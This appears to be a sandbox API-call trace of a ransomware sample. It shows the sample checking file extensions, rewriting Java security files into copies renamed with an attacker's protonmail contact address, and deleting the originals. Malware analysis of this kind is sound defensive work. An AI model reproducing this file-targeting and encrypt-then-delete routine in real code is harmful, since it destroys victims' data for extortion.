	[0178.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.354] lstrlenW (lpString=".dbf") returned 4
	[0178.354] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.354] lstrlenW (lpString=".1cd") returned 4
	[0178.354] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.354] lstrlenW (lpString=".jpg") returned 4
	[0178.354] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0178.354] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.355] lstrlenW (lpString=".doc") returned 4
	[0178.355] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString=".docx") returned 5
	[0178.355] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0178.355] lstrlenW (lpString=".pdf") returned 4
	[0178.355] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString=".xls") returned 4
	[0178.355] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString=".xlsx") returned 5
	[0178.355] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0178.355] lstrlenW (lpString=".ppt") returned 4
	[0178.355] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.355] lstrlenW (lpString=".zip") returned 4
	[0178.355] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString=".rar") returned 4
	[0178.355] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString=".bz2") returned 4
	[0178.355] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString=".7z") returned 3
	[0178.355] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0178.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.355] lstrlenW (lpString=".dbf") returned 4
	[0178.355] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.355] lstrlenW (lpString=".1cd") returned 4
	[0178.355] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0178.355] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59
	[0178.355] lstrlenW (lpString=".jpg") returned 4
	[0178.355] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0178.356] lstrcmpiW (lpString1=".security", lpString2=".html") returned 1
	[0178.356] lstrlenW (lpString="java.security") returned 13
	[0178.356] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.356] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=36524) returned 1
	[0178.356] CloseHandle (hObject=0x5c0) returned 1
	[0178.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20
	[0178.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.357] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.357] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.357] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.357] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0178.357] GetLastError () returned 0x0
	[0178.357] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x8eac, lpOverlapped=0x0) returned 1
	[0178.360] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x8eb0, lpOverlapped=0x0) returned 1
	[0178.361] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.362] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xee, lpOverlapped=0x0) returned 1
	[0178.362] SetEndOfFile (hFile=0x5b0) returned 1
	[0178.362] CloseHandle (hObject=0x5b0) returned 1
	[0178.362] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.362] SetEndOfFile (hFile=0x5c0) returned 1
	[0178.365] CloseHandle (hObject=0x5c0) returned 1
	[0178.365] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.365] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1
	[0178.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.366] lstrlenW (lpString=".doc") returned 4
	[0178.366] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1
	[0178.366] lstrlenW (lpString=".docx") returned 5
	[0178.366] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1
	[0178.366] lstrlenW (lpString=".pdf") returned 4
	[0178.366] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1
	[0178.366] lstrlenW (lpString=".xls") returned 4
	[0178.366] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1
	[0178.366] lstrlenW (lpString=".xlsx") returned 5
	[0178.366] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1
	[0178.366] lstrlenW (lpString=".ppt") returned 4
	[0178.366] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1
	[0178.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.366] lstrlenW (lpString=".zip") returned 4
	[0178.366] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1
	[0178.366] lstrlenW (lpString=".rar") returned 4
	[0178.366] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1
	[0178.366] lstrlenW (lpString=".bz2") returned 4
	[0178.366] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1
	[0178.366] lstrlenW (lpString=".7z") returned 3
	[0178.366] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1
	[0178.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.366] lstrlenW (lpString=".dbf") returned 4
	[0178.366] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1
	[0178.366] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.366] lstrlenW (lpString=".1cd") returned 4
	[0178.367] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.367] lstrlenW (lpString=".jpg") returned 4
	[0178.367] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.367] lstrlenW (lpString=".doc") returned 4
	[0178.367] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString=".docx") returned 5
	[0178.367] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1
	[0178.367] lstrlenW (lpString=".pdf") returned 4
	[0178.367] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString=".xls") returned 4
	[0178.367] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString=".xlsx") returned 5
	[0178.367] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1
	[0178.367] lstrlenW (lpString=".ppt") returned 4
	[0178.367] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.367] lstrlenW (lpString=".zip") returned 4
	[0178.367] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString=".rar") returned 4
	[0178.367] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString=".bz2") returned 4
	[0178.367] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString=".7z") returned 3
	[0178.367] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1
	[0178.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.367] lstrlenW (lpString=".dbf") returned 4
	[0178.367] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1
	[0178.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.368] lstrlenW (lpString=".1cd") returned 4
	[0178.368] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1
	[0178.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61
	[0178.368] lstrlenW (lpString=".jpg") returned 4
	[0178.368] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1
	[0178.368] lstrcmpiW (lpString1=".policy", lpString2=".html") returned 1
	[0178.368] lstrlenW (lpString="javaws.policy") returned 13
	[0178.368] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.369] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=98) returned 1
	[0178.369] CloseHandle (hObject=0x5c0) returned 1
	[0178.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20
	[0178.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.370] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.370] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0178.370] GetLastError () returned 0x0
	[0178.370] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x62, lpOverlapped=0x0) returned 1
	[0178.371] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x70, lpOverlapped=0x0) returned 1
	[0178.373] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.373] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xee, lpOverlapped=0x0) returned 1
	[0178.373] SetEndOfFile (hFile=0x5b0) returned 1
	[0178.373] CloseHandle (hObject=0x5b0) returned 1
	[0178.373] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.373] SetEndOfFile (hFile=0x5c0) returned 1
	[0178.377] CloseHandle (hObject=0x5c0) returned 1
	[0178.377] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.377] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1
	[0178.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.378] lstrlenW (lpString=".doc") returned 4
	[0178.378] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString=".docx") returned 5
	[0178.378] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0178.378] lstrlenW (lpString=".pdf") returned 4
	[0178.378] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString=".xls") returned 4
	[0178.378] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString=".xlsx") returned 5
	[0178.378] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0178.378] lstrlenW (lpString=".ppt") returned 4
	[0178.378] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.378] lstrlenW (lpString=".zip") returned 4
	[0178.378] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString=".rar") returned 4
	[0178.378] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString=".bz2") returned 4
	[0178.378] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString=".7z") returned 3
	[0178.378] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0178.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.378] lstrlenW (lpString=".dbf") returned 4
	[0178.378] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.378] lstrlenW (lpString=".1cd") returned 4
	[0178.378] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0178.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.378] lstrlenW (lpString=".jpg") returned 4
	[0178.378] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.379] lstrlenW (lpString=".doc") returned 4
	[0178.379] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString=".docx") returned 5
	[0178.379] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0178.379] lstrlenW (lpString=".pdf") returned 4
	[0178.379] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString=".xls") returned 4
	[0178.379] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString=".xlsx") returned 5
	[0178.379] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0178.379] lstrlenW (lpString=".ppt") returned 4
	[0178.379] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.379] lstrlenW (lpString=".zip") returned 4
	[0178.379] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString=".rar") returned 4
	[0178.379] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString=".bz2") returned 4
	[0178.379] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString=".7z") returned 3
	[0178.379] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.379] lstrlenW (lpString=".dbf") returned 4
	[0178.379] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.379] lstrlenW (lpString=".1cd") returned 4
	[0178.379] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0178.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0178.379] lstrlenW (lpString=".jpg") returned 4
	[0178.380] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0178.380] lstrcmpiW (lpString1=".jar", lpString2=".html") returned 1
	[0178.380] lstrlenW (lpString="local_policy.jar") returned 16
	[0178.380] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.380] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=3527) returned 1
	[0178.380] CloseHandle (hObject=0x5c0) returned 1
	[0178.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 0x20
	[0178.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.381] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.381] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.381] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b0
	[0178.382] GetLastError () returned 0x0
	[0178.382] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0xdc7, lpOverlapped=0x0) returned 1
	[0178.733] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0178.734] ReadFile (in: hFile=0x5c0, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.734] WriteFile (in: hFile=0x5b0, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0178.734] SetEndOfFile (hFile=0x5b0) returned 1
	[0178.735] CloseHandle (hObject=0x5b0) returned 1
	[0178.735] SetFilePointerEx (in: hFile=0x5c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.735] SetEndOfFile (hFile=0x5c0) returned 1
	[0178.738] CloseHandle (hObject=0x5c0) returned 1
	[0178.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0178.739] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\local_policy.jar")) returned 1
	[0178.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.739] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.739] lstrlenW (lpString=".doc") returned 4
	[0178.739] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.739] lstrlenW (lpString=".docx") returned 5
	[0178.739] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0178.739] lstrlenW (lpString=".pdf") returned 4
	[0178.740] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0178.740] lstrlenW (lpString=".xls") returned 4
	[0178.740] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0178.740] lstrlenW (lpString=".xlsx") returned 5
	[0178.740] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1
	[0178.740] lstrlenW (lpString=".ppt") returned 4
	[0178.740] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0178.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.740] lstrlenW (lpString=".zip") returned 4
	[0178.740] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0178.740] lstrlenW (lpString=".rar") returned 4
	[0178.740] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0178.740] lstrlenW (lpString=".bz2") returned 4
	[0178.740] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0178.740] lstrlenW (lpString=".7z") returned 3
	[0178.740] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0178.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.740] lstrlenW (lpString=".dbf") returned 4
	[0178.740] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0178.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.740] lstrlenW (lpString=".1cd") returned 4
	[0178.740] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0178.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.740] lstrlenW (lpString=".jpg") returned 4
	[0178.740] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0178.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.740] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\local_policy.jar") returned 64
	[0178.740] lstrlenW (lpString=".doc") returned 4
	[0178.740] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0178.740] lstrlenW (lpString=".docx") returned 5
	[0178.740] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1
	[0178.740] lstrlenW (lpString=".pdf") returned 4
